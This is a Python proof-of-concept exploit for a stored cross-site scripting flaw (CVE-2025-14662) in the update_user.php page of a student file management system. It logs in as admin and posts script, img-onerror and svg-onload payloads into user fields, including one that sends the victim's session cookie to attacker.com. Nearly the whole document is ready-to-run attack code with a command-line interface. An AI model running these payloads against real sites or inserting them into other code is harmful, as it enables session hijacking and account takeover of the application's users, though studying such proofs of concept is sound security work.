CVE-2025-14662 Student File Management System 1.0 XSS漏洞

# CVE-2025-14662 PoC - Student File Management System 1.0 XSS # Target: /admin/update_user.php # Vulnerability: Stored XSS in user update functionality import requests import argparse from urllib.parse import urlencode def exploit_xss(target_url, username, password, payload): """ Exploit CVE-2025-14662 by injecting XSS payload in user update page Args: target_url: Base URL of the vulnerable application username: Admin username for authentication password: Admin password for authentication payload: XSS payload to inject """ # Login to get session cookie login_url = f"{target_url}/admin/login.php" login_data = { "username": username, "password": password } session = requests.Session() login_response = session.post(login_url, data=login_data) if "login" in login_response.url.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Inject XSS payload via update_user.php update_url = f"{target_url}/admin/update_user.php" # Common XSS payloads for stored XSS xss_payloads = [ f"<script>alert('XSS by CVE-2025-14662')</script>", f"<img src=x onerror=alert('CVE-2025-14662')>", f"<svg onload=alert('CVE-2025-14662')>", payload ] # Try to update user with XSS payload update_data = { "id": "1", # Target user ID "name": payload, "email": f"test<script>alert('XSS')</script>@example.com", "phone": "1234567890", "address": f"<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" } response = session.post(update_url, data=update_data) if response.status_code == 200: print(f"[+] XSS payload sent: {payload}") print(f"[+] Visit {target_url}/admin/update_user.php?id=1 to trigger the XSS") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-14662 XSS Exploit") parser.add_argument("-u", "--url", required=True, help="Target URL") parser.add_argument("-un", "--username", required=True, help="Admin username") parser.add_argument("-p", "--password", required=True, help="Admin password") parser.add_argument("--payload", default="<script>alert('CVE-2025-14662')</script>", help="XSS payload") args = parser.parse_args() exploit_xss(args.url, args.username, args.password, args.payload)